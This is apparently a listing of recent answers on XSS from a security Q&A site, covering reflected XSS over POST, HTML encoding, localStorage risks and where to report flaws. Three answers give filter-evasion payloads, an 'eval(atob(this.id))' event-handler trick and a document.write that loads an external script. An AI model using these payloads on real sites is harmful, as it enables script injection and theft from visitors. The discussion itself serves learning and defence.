New answers tagged

3

The HTTP method does not matter for Cross Site Scripting attacks (XSS). It is even possible to get XSS trough the HTTP TRACE method. Is it possible to have reflective XSS through POST requests? Most definitely!


6

Could there exist some site that is vulnerable in this way? Sure, obviously. If the server takes the user-supplied file name and tries to emit it, unescaped, into the document, you'll get XSS. Same as any other user-supplied data. Is the particular site you're looking at, or indeed any site on the whole Internet right now, vulnerable? We have no way to know ...


0

It might be filtering just for "javascript:"; you should test that with something else that ends in a colon. data: URIs are practically mostly equivalent to javascript: URIs, but are less well known. I don't actually think you can abuse a data: URI in an image source, but if you can set it in an anchor's href or in certain other places (such as an iframe's ...


0

Does this have any security impact? The answer is 'possibly'. Anywhere you have a external data being injected into a webpage there is a risk of XSS, and this risk is mitigated both by the quality of the sanitization of the external data and the way the page has been constructed. In general escaping or removing ", < and > is a decent start but many ...


0

You can report to Computer Emergency Response Team or Incident Response Team of respective jurisdiction.


3

You don't need to find a compromise. This is one of the cases where security and usability go hand in hand. In an HTML context, you don't want to escape special characters, but encode them. An example for escaping: " -> \" An example for encoding: " -> &quot; The good thing with encoding in an HTML context is that it doesn't impact usability. ...


0

Storing information in localStorage is reasonably secure, but: It does not expire. Data in localStorage remains there forever, which increases the period that it can be leaked or obtained. For session tokens this generally doesn't matter, since you can expire them server-side. Values are not encrypted on disk. Chrome encrypts cookie values, but doesn't ...


1

Your header is of course showing it in URI encoding because it's a URI. You need to look at the actual body - your report stated it was in an a tag, so look for that a tag. Pass your output through grep and it should fall out. You won't see it in a GET because that is the data you are sending to the server (or directly what the server is receiving, either ...


0

I was able to make it work. After looking for a lot of XSS Evasion methods i found a working one. I was able to load an external script using atob: id="base64-encoded-javascript-payload" onpointerover="eval(atob(this.id)) Where base64-encoded-javascript-payload in this case was ...


0

Theoretically, if their WAF doesn't block it, you can just put the entire contents of your javascript in the event handler: onpointerover="javascript:do_something();do_something_else();more_things();" Of course this has some practical limits: if this is stored XSS then your full JS payload may not fit in the database if there is a small character limit. ...


1

onpointerover is just an event that requires an event handler which you can specify inline as: onpointerover = (event) => { document.write('<script type="text/javascript" src="your_external_js"></script>'); }; Or alternatively document.getElementById('the_id').innerHTML("<script>...</script>") etc... I'm assuming your WAF ...


3

Why would a web application try to connect to a port on localhost? A simple explanation that doesn't involve malicious acting is developmental tasks. Depending on the environment, some developers may install a local, lightweight copy of the backend API on their development machine. This would allow the frontend code to try and connect to localhost and do ...


Top 50 recent answers are included